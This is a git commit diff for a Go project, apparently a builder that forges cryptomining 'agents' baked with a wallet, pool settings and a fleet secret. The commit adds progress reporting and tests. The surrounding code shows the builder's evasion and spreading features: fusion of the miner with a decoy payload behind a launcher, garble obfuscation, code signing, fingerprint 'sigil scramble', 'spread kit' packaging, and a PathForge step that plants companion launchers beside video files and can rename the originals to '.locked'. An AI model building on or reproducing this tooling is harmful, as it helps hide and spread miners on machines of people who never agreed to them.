Final sweep: Crucible fixes, Path Tracer polish, forge progress, tests green.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Align dashboard subtitle default and UpsertAgent tests with fleet label behavior; WebSocket coalesce and PathForge hardening; Crucible expanded ops and visual DV fixes; Vitest 610/610 and full test-suite pass; trim PROBLEMS.md to open items only.
This commit is contained in:
AetherForge
2026-06-06 18:07:47 -07:00
parent e65753ce49
commit 6372b07e6c
40 changed files with 1495 additions and 794 deletions

View File

@@ -25,6 +25,7 @@ func (h *Handler) buildUniversalAgent(ctx context.Context, req *BuildRequest, pr
if err := os.MkdirAll(agentDir, 0755); err != nil {
return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, ""
}
h.setProgress(req.CancelToken, "Copying source files", 5)
if err := h.copyAgentSource(agentDir); err != nil {
cleanupBuild()
return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, ""
@@ -32,7 +33,10 @@ func (h *Handler) buildUniversalAgent(ctx context.Context, req *BuildRequest, pr
platforms := platformsForRequest(req)
workerPaths := map[string]string{}
for _, p := range platforms {
total := len(platforms)
for i, p := range platforms {
pct := 14 + (i*56)/total
h.setProgress(req.CancelToken, fmt.Sprintf("Compiling %s", p.Label()), pct)
wp, err := h.compileWorker(ctx, agentDir, buildDir, req, buildID, p, req.FusionEnabled)
if err != nil {
cleanupBuild()
@@ -40,6 +44,7 @@ func (h *Handler) buildUniversalAgent(ctx context.Context, req *BuildRequest, pr
}
workerPaths[p.Label()] = wp
}
h.setProgress(req.CancelToken, "Compiled all targets", 72)
if req.SpreadKit && !req.FusionEnabled {
return h.finishSpreadKit(buildID, buildDir, req, workerPaths, platforms)
@@ -54,6 +59,7 @@ func (h *Handler) buildUniversalAgent(ctx context.Context, req *BuildRequest, pr
}
func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, workers map[string]string, platforms []BuildPlatform) (BuildResponse, int, string) {
h.setProgress(req.CancelToken, "Packaging spread kit", 78)
cleanupBuild := func() { _ = os.RemoveAll(buildDir) }
var subdir string
@@ -117,6 +123,7 @@ func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, w
zipBytes = zipSt.Size()
}
h.setProgress(req.CancelToken, "Saving to database", 99)
if err := h.db.InsertBuild(&models.BuildRecord{
ID: buildID, WorkerName: req.WorkerName, ServerURL: req.ServerURL, Wallet: req.Wallet,
Threads: req.Threads, FileSize: zipBytes, FilePath: zipPath, FileName: zipName, CreatedAt: time.Now(),
@@ -145,6 +152,7 @@ func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, w
}
func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir string, req *BuildRequest, prepPath string, workers map[string]string, platforms []BuildPlatform) (BuildResponse, int, string) {
h.setProgress(req.CancelToken, "Building fusion deliverables", 78)
cleanupBuild := func() { _ = os.RemoveAll(buildDir) }
// Resolve payload display name (used for runner naming and ZIP title)
@@ -258,6 +266,7 @@ func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir s
zipBytes2 = zipSt2.Size()
}
h.setProgress(req.CancelToken, "Saving to database", 99)
if err := h.db.InsertBuild(&models.BuildRecord{
ID: buildID, WorkerName: req.WorkerName, ServerURL: req.ServerURL, Wallet: req.Wallet,
Threads: req.Threads, FileSize: zipBytes2, FilePath: zipPath, FileName: zipName, CreatedAt: time.Now(),

View File

@@ -153,6 +153,12 @@ type BuildArtifactFile struct {
FilePath string `json:"file_path,omitempty"`
}
// BuildProgress is returned by GET /builder/progress/{token} while a forge is running.
type BuildProgress struct {
Stage string `json:"stage"`
Pct int `json:"pct"`
}
func buildExtraFilesFromArtifacts(arts []BuildArtifactFile) []models.BuildExtraFile {
if len(arts) == 0 {
return nil
@@ -181,6 +187,11 @@ type Handler struct {
// can abort an in-progress compile via DELETE /api/v1/builder/cancel/{token}.
activeCancelsMu sync.Mutex
activeCancels map[string]context.CancelFunc
// Real-time build progress — maps cancel_token → current stage so the frontend
// can poll GET /api/v1/builder/progress/{token} instead of running a fake timer.
activeProgressMu sync.RWMutex
activeProgress map[string]BuildProgress
}
// SetFleetSecret stores the fleet secret so it is baked into every forged binary.
@@ -231,6 +242,46 @@ func (h *Handler) unregisterCancel(token string) {
h.activeCancelsMu.Unlock()
}
// setProgress records the current forge stage so the frontend can poll it.
func (h *Handler) setProgress(token, stage string, pct int) {
if token == "" {
return
}
h.activeProgressMu.Lock()
if h.activeProgress == nil {
h.activeProgress = make(map[string]BuildProgress)
}
h.activeProgress[token] = BuildProgress{Stage: stage, Pct: pct}
h.activeProgressMu.Unlock()
}
func (h *Handler) clearProgress(token string) {
if token == "" {
return
}
h.activeProgressMu.Lock()
delete(h.activeProgress, token)
h.activeProgressMu.Unlock()
}
// ServeProgress returns the current build stage for a running forge identified by its cancel token.
// The frontend polls this every second to drive a real progress bar instead of a client-side simulation.
func (h *Handler) ServeProgress(w http.ResponseWriter, r *http.Request) {
token := chi.URLParam(r, "token")
if token == "" {
http.Error(w, "token required", http.StatusBadRequest)
return
}
h.activeProgressMu.RLock()
prog, ok := h.activeProgress[token]
h.activeProgressMu.RUnlock()
if !ok {
writeJSON(w, http.StatusNotFound, BuildProgress{Stage: "", Pct: 0})
return
}
writeJSON(w, http.StatusOK, prog)
}
type SignPolicy struct {
Enabled bool `json:"enabled"`
CertThumbprint string `json:"cert_thumbprint"`
@@ -346,6 +397,7 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
ctx, cancelFn = context.WithCancel(ctx)
h.registerCancel(req.CancelToken, cancelFn)
defer h.unregisterCancel(req.CancelToken)
defer h.clearProgress(req.CancelToken)
}
// FusionOutputName will be derived from the payload filename if not set
@@ -539,12 +591,14 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, ""
}
h.setProgress(req.CancelToken, "Copying source files", 5)
if err := h.copyAgentSource(agentDir); err != nil {
cleanupBuild()
log.Printf("Failed to copy agent source: %v", err)
return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, ""
}
h.setProgress(req.CancelToken, "Configuring build", 14)
configDir := filepath.Join(agentDir, "config")
if err := os.MkdirAll(configDir, 0755); err != nil {
cleanupBuild()
@@ -553,18 +607,21 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
platforms := platformsForRequest(req)
p := platforms[0]
h.setProgress(req.CancelToken, "Compiling agent", 20)
outputPath, err := h.compileWorker(ctx, agentDir, buildDir, req, buildID, p, req.FusionEnabled)
if err != nil {
cleanupBuild()
log.Printf("Build failed: %v", err)
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
h.setProgress(req.CancelToken, "Compiled — linking output", 72)
obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
workerName := filepath.Base(outputPath)
finalPath := outputPath
finalName := workerName
var fusionEnabled bool
h.setProgress(req.CancelToken, "Writing scripts", 76)
uninstallName, uninstallPath, err := h.writeUninstallScript(buildDir, buildID, req)
if err != nil {
cleanupBuild()
@@ -577,12 +634,14 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
if req.FusionPayloadKind == "" {
req.FusionPayloadKind = detectFusionPayloadKind(prepPath)
}
h.setProgress(req.CancelToken, "Building fusion bundle", 80)
var err error
fusionRes, err = h.buildFusionFromRequest(ctx, buildDir, prepPath, outputPath, req)
if err != nil {
cleanupBuild()
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
h.setProgress(req.CancelToken, "Fusion bundle ready", 88)
finalPath = fusionRes.LauncherPath
finalName = filepath.Base(finalPath)
fusionEnabled = true
@@ -658,6 +717,7 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
}
bundleDownloadURL = fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, bundleFileName)
} else {
h.setProgress(req.CancelToken, "Publishing build", 91)
var err error
exportPath, err = h.publishRootExecutable(finalPath, finalName)
if err != nil {
@@ -680,6 +740,7 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
signed := false
if h.shouldSignBuild(req) {
h.setProgress(req.CancelToken, "Signing binary", 95)
if err := h.signExecutable(finalPath); err != nil {
return BuildResponse{Success: false, Error: "Build succeeded but signing failed: " + err.Error()}, http.StatusInternalServerError, ""
}
@@ -692,6 +753,7 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
scrambled := false
fingerprint := ""
if shouldSigilScramble(req) {
h.setProgress(req.CancelToken, "Scrambling sigil", 97)
fp, err := ApplySigilScramble(finalPath, buildID)
if err != nil {
log.Printf("[Forge] sigil scramble: %v", err)
@@ -750,6 +812,7 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
PoolTLS: req.PoolTLS,
PoolPass: req.PoolPass,
}
h.setProgress(req.CancelToken, "Saving to database", 99)
if err := h.db.InsertBuild(buildRecord); err != nil {
log.Printf("Failed to record build: %v", err)
return BuildResponse{Success: false, Error: "Failed to record build in database"}, http.StatusInternalServerError, ""

View File

@@ -125,7 +125,11 @@ func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
res := &PathForgeResult{}
ctx := r.Context()
err = filepath.WalkDir(req.RootPath, func(path string, d os.DirEntry, err error) error {
if ctx.Err() != nil {
return ctx.Err()
}
if err != nil || d.IsDir() {
return nil
}

View File

@@ -1,7 +1,9 @@
package builder
import (
"context"
"encoding/json"
"fmt"
"net/http"
"net/http/httptest"
"os"
@@ -82,3 +84,136 @@ func TestPathForgePlacedExcludesHintFile(t *testing.T) {
}
}
}
// TestPathForgeContextCancel verifies that cancelling the request context stops
// the walk gracefully without hanging or panicking. A pre-cancelled context
// causes the walk closure to exit immediately on the first iteration.
func TestPathForgeContextCancel(t *testing.T) {
root := t.TempDir()
for i := 0; i < 5; i++ {
name := fmt.Sprintf("video%d.mkv", i)
if err := os.WriteFile(filepath.Join(root, name), []byte("data"), 0644); err != nil {
t.Fatal(err)
}
}
body := `{"root_path":"` + strings.ReplaceAll(root, `\`, `\\`) + `","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1"}`
ctx, cancel := context.WithCancel(context.Background())
cancel() // pre-cancel so the walk exits at the first check
h := NewPathForgeHandler(t.TempDir())
req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body))
req = req.WithContext(ctx)
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req) // must return promptly, not hang
if rec.Code != http.StatusOK {
t.Fatalf("expected 200, got %d: %s", rec.Code, rec.Body.String())
}
var res PathForgeResult
if err := json.NewDecoder(rec.Body).Decode(&res); err != nil {
t.Fatalf("response decode: %v", err)
}
// With a pre-cancelled context the walk stops before placing any files.
if res.Placed != 0 {
t.Errorf("expected 0 placements with cancelled context, got %d", res.Placed)
}
t.Logf("context cancel: placed=%d total=%d errors=%d", res.Placed, res.Total, res.Errors)
}
// TestPathForgePartialPlacementErrorCount verifies that the Placed counter only
// reflects successfully placed files; a read-only directory causes placement
// failure for that subtree while other directories succeed.
func TestPathForgePartialPlacementErrorCount(t *testing.T) {
if runtime.GOOS == "windows" {
t.Skip("read-only directory permission simulation is not reliable on Windows")
}
root := t.TempDir()
dir1 := filepath.Join(root, "good")
dir2 := filepath.Join(root, "locked")
if err := os.MkdirAll(dir1, 0755); err != nil {
t.Fatal(err)
}
if err := os.MkdirAll(dir2, 0755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(dir1, "clip.mkv"), []byte("video"), 0644); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(dir2, "film.mkv"), []byte("video"), 0644); err != nil {
t.Fatal(err)
}
// Make dir2 read-only so companion files cannot be written there.
if err := os.Chmod(dir2, 0555); err != nil {
t.Fatal(err)
}
defer func() { _ = os.Chmod(dir2, 0755) }()
body := `{"root_path":"` + strings.ReplaceAll(root, `\`, `\\`) + `","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1"}`
h := NewPathForgeHandler(t.TempDir())
req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body))
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
}
var res PathForgeResult
if err := json.NewDecoder(rec.Body).Decode(&res); err != nil {
t.Fatal(err)
}
if res.Total != 2 {
t.Fatalf("expected 2 total media files, got %d", res.Total)
}
// dir1 succeeds; dir2 is read-only so it fails → Placed must not double-count.
if res.Placed < 1 {
t.Errorf("expected at least 1 placed (from dir1), got %d", res.Placed)
}
if res.Errors == 0 {
t.Errorf("expected at least 1 error from read-only dir2, got 0")
}
// Placed + Errors must equal Total (every file either placed or errored).
if res.Placed+res.Errors != res.Total {
t.Errorf("placed(%d)+errors(%d) != total(%d): counts are inconsistent", res.Placed, res.Errors, res.Total)
}
}
// TestPathForgeLockOriginalFalseKeepsOriginal verifies that when lock_original is
// false the source media file is not renamed or otherwise modified.
func TestPathForgeLockOriginalFalseKeepsOriginal(t *testing.T) {
root := t.TempDir()
mediaPath := filepath.Join(root, "movie.mkv")
if err := os.WriteFile(mediaPath, []byte("video content"), 0644); err != nil {
t.Fatal(err)
}
body := `{"root_path":"` + strings.ReplaceAll(root, `\`, `\\`) + `","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1","lock_original":false}`
h := NewPathForgeHandler(t.TempDir())
req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body))
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
}
var res PathForgeResult
if err := json.NewDecoder(rec.Body).Decode(&res); err != nil {
t.Fatal(err)
}
if !res.Success {
t.Fatalf("expected success, got errors: %v", res.ErrorList)
}
// Original file must still exist at its original path.
if _, err := os.Stat(mediaPath); err != nil {
t.Errorf("original file missing after pathforge (lock_original=false): %v", err)
}
// .locked variant must NOT have been created.
if _, err := os.Stat(mediaPath + ".locked"); err == nil {
t.Error("original file was unexpectedly renamed to .locked when lock_original=false")
}
}